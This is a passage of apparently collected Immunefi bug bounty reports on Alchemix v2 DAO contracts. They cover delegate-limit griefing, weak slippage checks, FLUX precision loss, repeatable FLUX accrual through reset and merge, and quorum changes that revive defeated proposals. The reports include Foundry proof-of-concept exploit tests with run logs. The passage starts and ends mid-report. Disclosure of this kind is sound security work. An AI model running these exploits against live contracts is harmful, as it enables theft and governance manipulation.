* Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

## Description

## Brief/Intro

Each user in the `VotingEscrow` contract has a maximum number of delegate $veToken. Any user can delegate his $veToken to other users. An attacker can exploit this to let user's delegate to reach the upper limit.

## Vulnerability Details

This bug involves `createLock` operation

```solidity
///// https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L1040
                require(dstTokensOld.length + 1 <= MAX_DELEGATES, "dst would have too many tokenIds");
```

and `delegate` operation

```solidity
///// https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L1110
                require(dstTokensOld.length + ownerTokenCount <= MAX_DELEGATES, "dst would have too many tokenIds");
```

In other words, an attacker can use this bug to DOS `createLock` and `delegate` operations of user.

**Suggested fix**

It is recommended that user can set the minimum number of individual delegates to prevent dust attacks

## Impact Details

An attacker can make the user no longer able to be delegated and mint $veToken. Causes users to be DOSed and may affect governance voting.

## References

None

## Proof of concept

The PoC patch

```diff
diff --git a/src/test/VotingEscrow.t.sol b/src/test/VotingEscrow.t.sol
index 6e828a3..73ca043 100644
--- a/src/test/VotingEscrow.t.sol
+++ b/src/test/VotingEscrow.t.sol
@@ -1015,4 +1015,25 @@ contract VotingEscrowTest is BaseTest {
 
         hevm.stopPrank();
     }
+
+    function testYttriumzzPocTemp() external {
+        address attacker = address(0xa77ac8e3);
+        address user = address(0xacc);
+        deal(bpt, attacker, 1e18);
+        deal(bpt, user, 1e18);
+
+        hevm.startPrank(attacker);
+        IERC20(bpt).approve(address(veALCX), type(uint256).max);
+        for (uint256 i = 0; i < veALCX.MAX_DELEGATES(); i++) {
+            veALCX.createLock(1, 0, true);
+        }
+        veALCX.delegate(user);
+        hevm.stopPrank();
+
+        hevm.startPrank(user);
+        IERC20(bpt).approve(address(veALCX), type(uint256).max);
+        hevm.expectRevert("dst would have too many tokenIds");
+        veALCX.createLock(1, 0, true);
+        hevm.stopPrank();
+    }
 }
```

Run the PoC

```bash
FOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/VFefkgjj8h3SgRYcCvmtp9KoMJJij6gD --fork-block-number 17133822 -vvv --match-test testYttriumzzPocTemp
```

The log

```bash
$ FOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/VFefkgjj8h3SgRYcCvmtp9KoMJJij6gD --fork-block-number 17133822 -vvv --match-test testYttriumzzPocTemp
[⠊] Compiling...
No files changed, compilation skipped

Ran 1 test for src/test/VotingEscrow.t.sol:VotingEscrowTest
[PASS] testYttriumzzPocTemp() (gas: 764132469)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.47s (3.45s CPU time)

Ran 1 test suite in 4.46s (3.47s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```


# 31309 - \[SC - Critical] slippage protection is inaccurate

Submitted on May 16th 2024 at 21:08:22 UTC by @jasonxiale for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31309

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RevenueHandler.sol>

Impacts:

* Protocol insolvency

## Description

## Brief/Intro

`RevenueHandler._melt` is used to swap normal token to alAsset(for example: WETH->alETH), but the slippage protection is inaccurate. So the function is subject to sandwich attack.

## Vulnerability Details

Function [RevenueHandler.\_melt](https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/RevenueHandler.sol#L275-L295) is used to swap normal token to alAsset(for example: WETH -> alETH), and the function uses `IERC20(revenueToken).balanceOf(address(this));` as slippage protection.

The issue is that the price between normal token and alAsset isn't 1:1, based on [althe](https://www.coingecko.com/en/coins/alchemix-eth) and [weth](https://www.coingecko.com/en/coins/weth), the ratio between WETH and alETH is about 30:27. So it means that the protocol will use 3000$ WETH to swap for 2700$ alETH. Acutally, this is the same issue as <https://github.com/sherlock-audit/2024-04-alchemix-judging/issues/5>

```solidity
275     function _melt(address revenueToken) internal returns (uint256) {
276         RevenueTokenConfig storage tokenConfig = revenueTokenConfigs[revenueToken];
277         address poolAdapter = tokenConfig.poolAdapter;
278         uint256 revenueTokenBalance = IERC20(revenueToken).balanceOf(address(this));
279         if (revenueTokenBalance == 0) {
280             return 0;
281         }
282         IERC20(revenueToken).safeTransfer(poolAdapter, revenueTokenBalance);
283         /*  
284             minimumAmountOut == inputAmount
285             Here we are making the assumption that the price of the alAsset will always be at or below the price of the revenue token.
286             This is currently a safe assumption since this imbalance has always held true for alUSD and alETH since their inceptions.
287         */
288         return
289             IPoolAdapter(poolAdapter).melt(
290                 revenueToken,
291                 tokenConfig.debtToken,
292                 revenueTokenBalance,
293                 revenueTokenBalance <<<--- Here IERC20(revenueToken).balanceOf(address(this)) is used as slippage protection.
294             );
295     }
```

## Impact Details

`RevenueHandler._melt` is used to swap normal token to alAsset(for example: WETH->alETH), but the slippage protection is inaccurate. So the function is subject to sandwich attack.

## References

<https://github.com/sherlock-audit/2024-04-alchemix-judging/issues/5>

## Proof of Concept

Because there is no WETH/ALETH Curve pool onchain, I will use ETH/ALETH pool as example.

Add the following code in `src/test/RevenueHandler.t.sol` and run

```bash
FOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/0TbY2mhyGA4gLPShfh-PwBlQ3PDNUdL1 --fork-block-number 17133822 --mc RevenueHandlerTest --mt testSlippageIssue -vv
[⠊] Compiling...
No files changed, compilation skipped

Ran 1 test for src/test/RevenueHandler.t.sol:RevenueHandlerTest
[PASS] testSlippageIssue() (gas: 137715)
Logs:
  poolAdapter                     : 0xC4C319E2D4d66CcA4464C0c2B32c9Bd23ebe784e
  aleth                           : 0x0100546F2cD4C9D97f798fFC9755E47865FF7Ee6
  val                             : 1012512998195120273

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.42ms (231.43µs CPU time)

Ran 1 test suite in 1.34s (4.42ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

As we can see above, by using 1e18 weth, we can exchage 1012512998195120273 aleth. But if we set [minimumAmountOut == inputAmount](https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/RevenueHandler.sol#L288-L294). Sandwich attack might happen

```solidity
    function testSlippageIssue() external {
        address aleth_eth = address(0xC4C319E2D4d66CcA4464C0c2B32c9Bd23ebe784e);
        revenueHandler.addRevenueToken(address(weth));
        revenueHandler.setDebtToken(address(weth), aleth);
        revenueHandler.setPoolAdapter(address(weth), aleth_eth);
        (, address poolAdapter, ) = revenueHandler.revenueTokenConfigs(address(weth));
        assertEq(poolAdapter, aleth_eth);
        console2.log("poolAdapter                     :", poolAdapter);
        console2.log("aleth                           :", address(aleth));
        int128 i = 0;
        int128 j = 1;
        uint val = ICurveStableSwap(poolAdapter).get_dy(i, j, 1e18);
        console2.log("val                             :", val);
    }
```


# 31326 - \[SC - High] Precision loss causes minor loss of FLUX when c...

Submitted on May 17th 2024 at 03:06:09 UTC by @marchev for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31326

Report type: Smart Contract

Report severity: High

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/FluxToken.sol>

Impacts:

* Contract fails to deliver promised returns, but doesn't lose value

## Description

## Brief/Intro

The `FluxToken` contract allows users to claim FLUX tokens in exchange for their Alchemech or alETH NFTs. However, an error in the calculation within the contract leads to precision loss, causing users to lose small a dust amount of FLUX.

## Vulnerability Details

Users can claim FLUX tokens by calling the `FluxToken#nftClaim()` function with their Alchemech or alETH NFTs. This function relies on the `FluxToken#getClaimableFlux()` function to determine the amount of FLUX the user should receive. The `claimableFlux` is calculated as follows:

```sol
claimableFlux = (((bpt * veMul) / veMax) * veMax * (fluxPerVe + BPS)) / BPS / fluxMul;
```

In this formula, there is an unnecessary division by `veMax` followed by a multiplication by the same `veMax` value. This redundant operation introduces precision loss which in turn causes the user to lose a small (dust) amount of FLUX.

## Impact Details

The `claimableFlux` formula contains an unnecessary calculation that leads to a precision loss which causes a loss of dust for the users.

## References

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/FluxToken.sol#L224>

## Proof of Concept

The following coded PoC demonstrates the issue.

Add the following test case to `FluxToken.t.sol`:

```sol
    function test_getClaimableFlux_causes_unnecessary_lost_of_dust_due_to_incorrect_calculation() external {
        address dummyNFT = address(0x31337);
        uint256 amount = 10 ether;

        uint256 veMul = VotingEscrow(flux.veALCX()).MULTIPLIER();
        uint256 veMax = VotingEscrow(flux.veALCX()).MAXTIME();
        uint256 fluxPerVe = VotingEscrow(flux.veALCX()).fluxPerVeALCX();
        uint256 fluxMul = VotingEscrow(flux.veALCX()).fluxMultiplier();

        uint256 expectedClaimableFlux = ((amount * flux.bptMultiplier() * veMul) * (fluxPerVe + BPS)) / BPS / fluxMul;
        uint256 actualClaimableFlux = flux.getClaimableFlux(amount, dummyNFT);
        
        console2.log("Expected claimable FLUX: %s", expectedClaimableFlux);
        console2.log("Actual claimable FLUX: %s", actualClaimableFlux);
    }
```

Make sure the following entries are updated in `Makefile`:

```sh
# file to test 
FILE=FluxToken

# specific test to run
TEST=test_getClaimableFlux_causes_unnecessary_lost_of_dust_due_to_incorrect_calculation
```

Run the PoC via:

```sh
make test_file_test
```

PoC output:

```sh
Ran 1 test for src/test/FluxToken.t.sol:FluxTokenTest
[PASS] test_getClaimableFlux_causes_unnecessary_lost_of_dust_due_to_incorrect_calculation() (gas: 35008)
Logs:
  Expected claimable FLUX: 300000000000000000000
  Actual claimable FLUX: 299999999999992086000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 15.84s (649.51ms CPU time)

Ran 1 test suite in 16.97s (15.84s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```


# 31329 - \[SC - Critical] Attacker can gain infinitive FLUX by repeating ...

Submitted on May 17th 2024 at 07:32:47 UTC by @Minato7namikazi for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31329

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Impacts:

* Unauthorized minting of NFTs

## Description

## Brief/Intro

Attacker can gain infinitive FLUX by repeating this attack!

## Vulnerability Details

in the reset function in Voter contract which could be used only once per epoch , it accrueFlux for the tokenID and add the accrued amount in the unclaimed Flux balance , using the following scenario a malicious attacker could accrueFlux for tokenID already accrued previously in the same epoch.

### an example scenario

an attaker have 3 locks each one with 100k token

**ID1**

**ID2**

**ID3**

#### In the first epoch

he vote with the three tokenIDs

#### in the next epoch

he reset the voting for ID1 & ID2 and accrue their Flux ratio

fortunately here for the attacker ... the reset function abstain the voting status for the token id so it will be !VOTED

and the attacker will be able to merge into token voted in the previous epoch and didn't use reset in the new epoch yet

because merge() only require `require(!voted[_from], "voting in progress for token");`

it doesn't require the merged "to" token to be not voted .. only the first token

the attacker now could merge ID1 & ID2 to ID3

and use the reset function with the new total balance .. and accrue flux even if the same IDs tokens balance accrued flux previously in the same epoch!

## Impact Details

the suitable in-scope impact is **Unauthorized minting of NFTs** because this will enable an attacker to gain infinitive FLUX by repeating this tricky scenario

## Proof of concept

```

/*
       █▀█  ▀▄▀  █▀▄▀█ █ █▄░█ ▄▀█ ▀█▀ █▀█ 
       █▄█  █░█  █░▀░█ █ █░▀█ █▀█ ░█░ █▄█ 
*/


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import "forge-std/console.sol";
import "./BaseTest.sol";


contract MyTest is BaseTest { 


address public user = address(2);
uint256 internal constant ONE_WEEK = 1 weeks;
uint256 internal constant THREE_WEEKS = 3 weeks;
uint256 internal constant FIVE_WEEKS = 5 weeks;
uint256 internal constant MANYWEEKS = 52 weeks;

uint256 maxDuration = ((block.timestamp + MAXTIME) / ONE_WEEK) * ONE_WEEK;

 function setUp() public { 

      setupContracts(block.timestamp);

    }


  function _lockVeALCX(uint256 amount) internal returns (uint256) {

        deal(address(bpt), address(this), amount);
        IERC20(bpt).approve(address(veALCX), amount);
        return veALCX.createLock(amount, MAXTIME, false);

    } 

   function _setupgauge() internal {
        
        address alUsdGaugeAddress = voter.gauges(alUsdPoolAddress);

        address bribe1 = voter.bribes(alUsdGaugeAddress);


        vm.prank(voter.admin());
        voter.whitelist(usdt);

        vm.prank(address(alUsdGauge));
        IBribe(bribe1).addRewardToken(usdt);


        address alEthGaugeAddress = voter.gauges(alEthPoolAddress);
        address bribe2 = voter.bribes(alEthGaugeAddress);
       
    } 



  function test_theExpectedreturnsbeforetheExploit() public { 


        console.log("<---------------->");
        console.log("in this first test we preview how much the total flux balance of user should be in natural situation");
        console.log("after voting in an epoch then use reset function in the next epoch .... the user have 3 locks each one with 100k ");
        console.log("<---------------->");

        vm.startPrank(holder);

        uint256 id1 = _lockVeALCX(TOKEN_100K);
        uint256 id2 = _lockVeALCX(TOKEN_100K);
        uint256 id3 = _lockVeALCX(TOKEN_100K); 

        vm.stopPrank();


        _setupgauge();


        vm.startPrank(holder);

        
        address[] memory pools = new address[](1);
        address[] memory pools2 = new address[](1);
        uint256[] memory weights = new uint256[](1);
        pools[0] = alUsdPoolAddress;
        pools2[0] = alEthPoolAddress;
        weights[0] = 1;

        voter.vote(id1, pools, weights, 0);
        voter.vote(id2, pools2, weights, 0);
        voter.vote(id3, pools, weights, 0);


        uint256 unclaimedBalance11 = flux.getUnclaimedFlux(id1);

        console.log("The FLUX Balance of any id of the 3 now after voting is : ", unclaimedBalance11);


        skip(2 weeks + 2);

        vm.startPrank(address(voter));

        minter.updatePeriod();

        vm.stopPrank();

        vm.startPrank(holder);

        voter.reset(id1);
        voter.reset(id2);
        voter.reset(id3);

        uint256 unclaimedBalance2 = flux.getUnclaimedFlux(id1);

        console.log("The FLUX Balance of any id of the three after resetting is : ", unclaimedBalance2);

        console.log("The FLUX Balance of total user IDs after resetting in (normal situation) is : ", unclaimedBalance2 * 3);


        console.log("so that what should happen in normal .. the next we will preview the exploit that could totally take on the flux token system");

  

}

  function test_Exploit() public { 

      vm.startPrank(holder);


        uint256 id1 = _lockVeALCX(TOKEN_100K);
        uint256 id2 = _lockVeALCX(TOKEN_100K);
        uint256 id3 = _lockVeALCX(TOKEN_100K); 



        vm.stopPrank();


        _setupgauge();




        vm.startPrank(holder);

        
        address[] memory pools = new address[](1);
        address[] memory pools2 = new address[](1);
        uint256[] memory weights = new uint256[](1);
        pools[0] = alUsdPoolAddress;
        pools2[0] = alEthPoolAddress;
        weights[0] = 1;

        voter.vote(id1, pools, weights, 0);
        voter.vote(id2, pools2, weights, 0);
        voter.vote(id3, pools, weights, 0);



        uint256 unclaimedBalance11 = flux.getUnclaimedFlux(id1);

        console.log("The FLUX Balance of any id now is : ", unclaimedBalance11);



        skip(2 weeks + 2);

        vm.startPrank(address(voter));

        minter.updatePeriod();

        vm.stopPrank();

        vm.startPrank(holder);

        voter.reset(id1);
        voter.reset(id2);


        uint256 unclaimedBalance2 = flux.getUnclaimedFlux(id1);

        console.log("The FLUX Balance of id1 or id2 after resetting is : ", unclaimedBalance2);


        console.log("now we will merge id1 & id2 to id3");

        veALCX.merge(id1, id3);
        veALCX.merge(id2, id3);


        uint256 unclaimedBalance3 = flux.getUnclaimedFlux(id3);

        console.log("The id3 FLUX Balance after merging with the 2 ids is : ", unclaimedBalance3);

        voter.reset(id3);


        console.log("<---------------->");
        console.log("we can now accrue flux when resetting even if we already accrued previously for id 1 & 2 in the same epoch!!");


        uint256 unclaimedBalance4 = flux.getUnclaimedFlux(id3);

        console.log("The FLUX Balance after resetting the new merged token id3 is : ", unclaimedBalance4);

        console.log("<---------------->");
        console.log("If we subtract the total final flux balance with exploit - balance in normal sitaution(in test above)");
        console.log("the user now with the same balance in the previous test could gain 191234164129883298893351 more flux !");
        console.log("and the attacker can repeat that INFINITELY ");


  }

}
```

#### the result should be :

```
Ran 2 tests for src/test/poc.t.sol:MyTest
[PASS] test_Exploit() (gas: 4492738)
Logs:
  The FLUX Balance of any id now is :  99436076230339924252818
  The FLUX Balance of id1 or id2 after resetting is :  195036529680365287551119
  now we will merge id1 & id2 to id3
  The id3 FLUX Balance after merging with the 2 ids is :  489509135591070499355056
  <---------------->
  we can now accrue flux when resetting even if we already accrued previously for id 1 & 2 in the same epoch!!
  The FLUX Balance after resetting the new merged token id3 is :  776310495941146589249960
  <---------------->
  If we subtract the total final flux balance with exploit - balance in normal sitaution(in test above)
  the user now with the same balance in the previous test could gain 191234164129883298893351 more flux !
  and the attacker can repeat that INFINITELY

[PASS] test_theExpectedreturnsbeforetheExploit() (gas: 3702636)
Logs:
  <---------------->
  in this first test we preview how much the total flux balance of user should be in natural situation
  after voting in an epoch then use reset function in the next epoch .... the user have 3 locks each one with 100k
  <---------------->
  The FLUX Balance of any id of the 3 now after voting is :  99436076230339924252818
  The FLUX Balance of any id of the three after resetting is :  195036529680365287551119
  The FLUX Balance of total user IDs after resetting in (normal situation) is :  585109589041095862653357
  so that what should happen in normal .. the next we will preview the exploit that could totally take on the flux token system

Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 40.91s (55.38s CPU time)

Ran 1 test suite in 42.20s (40.91s CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)

```


# 31335 - \[SC - High] getActualSupply should be used instead of total...

Submitted on May 17th 2024 at 11:44:53 UTC by @OxAnmol for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31335

Report type: Smart Contract

Report severity: High

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RewardsDistributor.sol>

Impacts:

* Theft of unclaimed yield

## Description

## Brief/Intro

The `rewardDistributor:_depositIntoBalancerPool` uses totalSupply from the balance pool to calculate the expected BPT amount out. But the balancer docs recommend using getActualSupply instead of totalSupply.

## Vulnerability Details

`totalSupply` function in the balancer doesn’t account for protocol fees and unminted tokens which means the totalSupply doesn't' correctly reflect the actual supply of BPT. The balancer recommends using `getActualSupply` to get the correct total supply of the BPT tokens.

<https://docs.balancer.fi/concepts/advanced/valuing-bpt/valuing-bpt.html#getting-bpt-supply>

<https://github.com/balancer/balancer-v2-monorepo/blob/ac63d64018c6331248c7d77b9f317a06cced0243/pkg/pool-weighted/contracts/WeightedPool.sol#L332>

In our case, the BPT total supply function is used to calculate the `bptAmountOut`

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/RewardsDistributor.sol#L410>

```solidity
 uint256 bptAmountOut = WeightedMath._calcBptOutGivenExactTokensIn(
            balances,
            _normalizedWeights,
            amountsIn,
            IERC20(address(balancerPool)).totalSupply(), //@audit should use getActualSupply
            balancerPool.getSwapFeePercentage()
        );

```

bptAmountOut here acts like a slippage protection for add liquidity and this parameter is very important for sandwich protection. If the total supply is used instead of getActualSupply then the bptAmountOut can be significantly low and this can be vulnerable to sandwich attacks resulting in the loss of BPT for a user.

## Impact Details

Users can receive less BPT because of sandwich attacks resulting in the loss of unclaimed yield for the user. Please follow [this](https://docs.balancer.fi/guides/builders/join-pool.html#building-a-join-transaction) and

[this](https://solodit.xyz/issues/m-6-balancer-lp-valuation-methodologies-use-the-incorrect-supply-metric-sherlock-olympus-rbs-20-git) for further clarity in the issue.

## References

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/RewardsDistributor.sol#L414>

<https://github.com/balancer/balancer-v2-monorepo/blob/ac63d64018c6331248c7d77b9f317a06cced0243/pkg/pool-weighted/contracts/WeightedPool.sol#L325C1-L345C1>

<https://docs.balancer.fi/concepts/advanced/valuing-bpt/valuing-bpt.html#getting-bpt-supply>

\##Recommedation use getActualSupply instead of totalSupply

## Proof of Concept

Here I have added a new interface `IBalancerPool`, edited the RewardDistributor:\_depositIntoBalancerPool in RewardDistributor and used getTotalSupply to get bptAmountOut2 The console log is used to show the difference between the two outputs.

```solidity
 

interface IBalancerPool {
    function getActualSupply() external view returns (uint256);
}

...SNIP..
 function _depositIntoBalancerPool(
        uint256 _wethAmount,
        uint256 _alcxAmount,
        uint256[] memory _normalizedWeights
    ) internal {
        (, uint256[] memory balances, ) = balancerVault.getPoolTokens(balancerPoolId);

        uint256[] memory amountsIn = new uint256[](2);
        amountsIn[0] = _wethAmount;
        amountsIn[1] = _alcxAmount;

        uint256 bptAmountOut = WeightedMath._calcBptOutGivenExactTokensIn(
            balances,
            _normalizedWeights,
            amountsIn,
            IERC20(address(balancerPool)).totalSupply(),
            balancerPool.getSwapFeePercentage()
        );

        uint256 bptAmountOut2 = WeightedMath._calcBptOutGivenExactTokensIn(
            balances,
            _normalizedWeights,
            amountsIn,
            IBalancerPool(address(balancerPool)).getActualSupply(),
            balancerPool.getSwapFeePercentage()
        );

        if (bptAmountOut > bptAmountOut2) {
            console2.log("bptAmountOut > bptAmountOut2 and diff is ", bptAmountOut - bptAmountOut2);
        } else if (bptAmountOut < bptAmountOut2) {
            console2.log("bptAmountOut < bptAmountOut2 and diff is ", bptAmountOut2 - bptAmountOut);
            //@audit-issue this is a potential issue
        } else {
            console2.log("bptAmountOut == bptAmountOut2");
        }
        bytes memory _userData = abi.encode(
            WeightedPoolUserData.JoinKind.EXACT_TOKENS_IN_FOR_BPT_OUT,
            amountsIn,
            bptAmountOut2
        );

        IVault.JoinPoolRequest memory request = IVault.JoinPoolRequest({
            assets: poolAssets,
            maxAmountsIn: amountsIn,
            userData: _userData,
            fromInternalBalance: false
        });

        balancerVault.joinPool(balancerPoolId, address(this), address(this), request);
    }

```

add this test in `Voting.t.sol`

```solidity
function testGetActualSupply() public {
        uint256 period = minter.activePeriod();

        // Create a veALCX token and vote to trigger voter rewards
        uint256 tokenId = createVeAlcx(admin, TOKEN_1, MAXTIME, false);
        address bribeAddress = voter.bribes(address(sushiGauge));
        createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);

        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;

        address[] memory bribes = new address[](1);
        bribes[0] = address(bribeAddress);
        address[][] memory tokens = new address[][](2);
        tokens[0] = new address[](1);
        tokens[0][0] = bal;

        hevm.startPrank(admin);
        veALCX.approve(beef, tokenId);
        hevm.stopPrank();

        hevm.startPrank(beef);
        voter.vote(tokenId, pools, weights, 0);

        // Move forward a week relative to period
        hevm.warp(period + nextEpoch);
        voter.distribute();

        hevm.deal(beef, 10e18); // Sendt 10 ether to admin
        // 10 ether should be enough to pair with ALCX
        distributor.claim{ value: 10e18 }(tokenId, true); // Opt for compounding

        hevm.stopPrank();
    }
```

### Console Outputs

```bash
Ran 1 test for src/test/Voting.t.sol:VotingTest
[PASS] testGetActualSupply() (gas: 4931022)
Logs:
  bptAmountOut < bptAmountOut2 and diff is  130532624887077104

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 142.81s (116.42s CPU time)

Ran 1 test suite in 143.73s (142.81s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

As we can see the bptAmountOut2 calculated using getTotalSupply is greater than bptAmountOut. The difference here might seem small but this will largely depend on the trading volume of the balancer pool.


# 31355 - \[SC - Low] Past Defeated Proposals Can Be Executed in the ...

Submitted on May 17th 2024 at 16:06:05 UTC by @Breeje for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31355

Report type: Smart Contract

Report severity: Low

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/AlchemixGovernor.sol>

Impacts:

* Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results

## Description

## Brief/Intro

The `AlchemixGovernor` contract uses an implementation of `L2GovernorVotesQuorumFraction`, which has a known vulnerability. If a proposal passes to lower the quorum requirement, all past proposals that were defeated solely due to a lack of quorum may become executable if the votes they received now meet the new, lower quorum requirement.

## Vulnerability Details

The `AlchemixGovernor` contract inherits from `L2GovernorVotesQuorumFraction`, whose implementation is similar to OpenZeppelin's `GovernorVotesQuorumFraction` contract version `4.5.0`.

#### Proposal Execution Process

To understand the issue, we need to examine how a proposal is executed:

1. The `execute` function identifies the state of the proposal by calling the `state` function.

```solidity

    function execute(
      // SNIP
    ) public payable virtual override returns (uint256) {
      uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash, chainId);

@->     ProposalState status = state(proposalId);
        require(
            status == ProposalState.Succeeded || status == ProposalState.Queued,
            "Governor: proposal not successful"
        );
        _proposals[proposalId].executed = true;

        // SNIP
    }

```

2. The `state` function, after validation, checks two things: whether quorum was reached and whether the vote succeeded.

```solidity

    function state(uint256 proposalId) public view virtual override returns (ProposalState) {
      // SNIP: Validation

@->   if (_quorumReached(proposalId) && _voteSucceeded(proposalId)) {
          return ProposalState.Succeeded;
      } else {
          return ProposalState.Defeated;
      }
    }

```

3. The `_quorumReached` function calls the `quorum` function with `proposalSnapshot(proposalId)` as the timestamp.

```solidity

    function _quorumReached(uint256 proposalId) internal view virtual override returns (bool) {
        ProposalVote storage proposalvote = _proposalVotes[proposalId];

@->     return quorum(proposalSnapshot(proposalId)) <= proposalvote.forVotes + proposalvote.abstainVotes;
    }

```

4. The `quorum` function of `L2GovernorVotesQuorumFraction` is implemented as shown below:

```solidity

    function quorum(uint256 blockTimestamp) public view virtual override returns (uint256) {
@-.     return (token.getPastTotalSupply(blockTimestamp) * quorumNumerator()) / quorumDenominator();
    }

    function quorumNumerator() public view virtual returns (uint256) {
        return _quorumNumerator;
    }

```

Notice the following critical point:

* While the function gets the total supply value based on the timestamp, it uses the `quorumNumerator()` function, which returns the current `quorumNumerator` value rather than the value at the time of `blockTimestamp`.

#### Consequences of the Issue

1. If `quorum` was not reached for a past proposal, it cannot be executed at that time and is in a `defeated` state.
2. If governance updates the `_quorumNumerator` to a lower value using `updateQuorumNumerator` function:
   * The past defeated proposal may now reach the quorum with the new lower requirement.
   * The proposal state can change to succeeded, making it executable again.

## Impact Details

Past proposals that were defeated only due to a lack of quorum may become executable if the number of votes they received meets the new quorum requirement.

## References and Mitigation

This vulnerability is recognized by OpenZeppelin with a high severity rating. They issued a security advisory for it, which can be found [here](https://github.com/OpenZeppelin/openzeppelin-contracts/security/advisories/GHSA-xrc4-737v-9q75).

OpenZeppelin mitigated this issue in version `4.7.2` by:

* Deprecating the direct use of `_quorumNumerator` in the `quorumNumerator()` function.
* Implementing `Checkpoints` for the new `_quorumNumeratorHistory` variable to track past values of the quorum numerator relative to time and using the value as it was at the blockTimestamp.

The changes are detailed in this [commit](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/3561/files).

## Proof of Concept

#### Adding Test

Add the following lines in the `L2Governor` contract:

```solidity

  function pushCalldata(bytes calldata calldataHash) public {
      _governanceCall.pushBack(keccak256(calldataHash));
  }

```

Add the following `testPoC` function in `AlchemixGovernorTest.t.sol` test:

```solidity

    function testPoC() public {

        // 1. Initial Setup
        
        createVeAlcx(dead, 32e21, MAXTIME, false);
        createVeAlcx(admin, TOKEN_100K, MAXTIME, false);

        assertFalse(voter.isWhitelisted(usdc));

        (address[] memory t, uint256[] memory v, bytes[] memory c, string memory d) = craftTestProposal();
    
        hevm.warp(block.timestamp + 2 days); // delay

        // 2. Asserting Voting Power is less than quorum Initially

        {
            uint256 votingPower = veALCX.getVotes(dead);
            console2.log("Initial Voting Power: ",votingPower);

            uint256 quorum = governor.quorum(block.timestamp);
            console2.log("Initial Quorum:       ", quorum);
            
            assertGt(quorum, votingPower, "quorum should be greater than voting power");
        }

        // 3. Creating a Proposal

        hevm.startPrank(admin);
        uint256 pid = governor.propose(t, v, c, d, MAINNET);
        hevm.warp(block.timestamp + governor.votingDelay() + 1); // delay
        hevm.roll(block.number + 1);
        hevm.stopPrank();
        
        // 4. Voting in favour of proposal

        hevm.startPrank(dead);
        governor.castVote(pid, 1);
        hevm.warp(block.timestamp + governor.votingPeriod() + 1); // voting period
        hevm.stopPrank();

        // 5. Revert on executing the proposal because quorum not reached

        hevm.startPrank(admin);
        hevm.expectRevert(abi.encodePacked("Governor: proposal not successful"));
        governor.execute(t, v, c, keccak256(bytes(d)), MAINNET);

        hevm.stopPrank();

        // 6. Updating quorum numerator to 11% from 20%.

        {
            // Get the address of the Timelock (the executor)        
            address executor = address(governor.timelock());
            uint256 newQuorumNumerator = 1100;

            // Prepare the calldata
            bytes memory calldataRequired = abi.encodeWithSelector(
                bytes4(
                    keccak256("updateQuorumNumerator(uint256)")
                ),
                newQuorumNumerator
            );

            // Add it to the queue
            governor.pushCalldata(calldataRequired);

            hevm.startPrank(address(executor));

            // Impersonate the executor and call the function
            governor.updateQuorumNumerator(uint256(newQuorumNumerator));

            hevm.stopPrank();
        }

        // 7. Again Executing the past proposal, which gets execute successfully where it shouldn't
        {
            // execute
            hevm.startPrank(admin);

            uint256 votingPowerNew = veALCX.getVotes(dead);
            console2.log("Final Voting Power:   ",votingPowerNew);

            uint256 quorumNew = governor.quorum(block.timestamp);
            console2.log("Final Quorum:         ",quorumNew);

            assertGt(votingPowerNew, quorumNew, "voting power should be greater than quorum");

            hevm.warp(block.timestamp + timelockExecutor.executionDelay() + 1); // execution delay
            governor.execute(t, v, c, keccak256(bytes(d)), MAINNET);

            hevm.stopPrank();
        }
    }

```

#### Running Test

Use the following command to run the test:

```powershell

  forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/${ALCHEMY_API} --match-test testPoC --fork-block-number 17133822 -vvv

```

#### Expected Test Result

```powershell

  Running 1 test for src/test/AlchemixGovernor.t.sol:AlchemixGovernorTest
